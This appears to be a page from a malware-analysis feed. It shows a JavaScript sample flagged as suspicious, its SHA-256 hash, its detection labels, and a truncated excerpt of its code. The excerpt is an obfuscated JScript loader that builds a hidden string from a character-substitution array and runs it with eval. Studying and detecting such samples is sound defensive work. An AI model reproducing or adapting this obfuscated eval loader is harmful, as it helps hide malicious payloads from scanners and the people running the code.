Suspicious 80% javascript-malware-collection Download

20161006_6dcc2fa39f0aa0c0378e5069f07d9c2d.js

Obfuscated eval execution

Dense gp token arrayCharacter array using comma tuples
SHA-2562cf82fd9255f33a547b2d5e57d30b8f8e809bc839c6df7d63e4d45e63c358d7c

Evidence

Dense gp token array lines 1–8
1
2/*@cc_on
3var oi = "";
4var cw = 0;
5
6asdffda();
7var cn,mr,if0,zs,jh0,iu,kk,ba,ld,wv,kl,qn,fi,nt,lp,nt0,ty,iq,kf,rq,un,wn,rj,af,uu,zx,cy,xu,jp,rg,pm,of,go,dt,xm,qw,au,tq,ti,lg,ep,uq,fc,rp,pu,ql,ku,fh0,ix,vh,rg0,bg,ms,dy,ju0,wt,eg,zl,kb,hv,bd,pn,gl,ny,ac,fv,mc,ju,hx,lw,ll,dz,yy,ns,zj,jh,pj,ij,fh,ne,sh,ae,wz,fg,ak,sj,qa,ge,et;
8var tr = [("x", ny),("x", ll),("x", fv),("x", dt),("x", nt),("x", sh),("x", au),("x", fv),("x", lg),("x", ne),("x", of),("x", go),("x", ty),("x", cn),("x", lg),("x", lg),("x", lg),("x", lg),("x", ju),("x", fh),("x", mc),("x", lg),("x", fg),("x", kl),("x", tq),("x", sh),("x", et),("x", ll),("x", wv),("x", xm),("x", ny),("x", ll),("x", tq),("x", nt),("x", wv),("x", xm),("x", lg),("x", wt),("x", lg),("x", jp),("x", rg),("x", cy),("x", jp),("x", un),("x", jp),("x", jp),("x", un),("x", jp),("x", dt),("x", jp),("x", un),("x", jp),("x", mc),("x", jp),("x", un),("x", jp),("x", sh),("x", jp),("x", un),("x", jp …
Variable initialized from string sequence lines 8–37
8:171731… x", dy),("x", mr),("x", cn),("x", mr),("x", cn)];
9do
10{
11 oi = oi['c'+"onca"+"t"](tr[cw]);
12} while (cw++ < (tr["l"+"engt"+"h"]-1));
13eval(oi);
14@*/
15function asdffda()
16{
17cn=('b', '\x0a');
18mr=('b', '\x0d');
19if0=('b', 'D');
20zs=('b', 'H');
21jh0=('b', 'L');
22iu=('b', 'P');
23kk=('b', 'T');
24ba=('b', 'X');
25ld=('b', '\x09');
26wv=('b', 'd');
⋯11 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.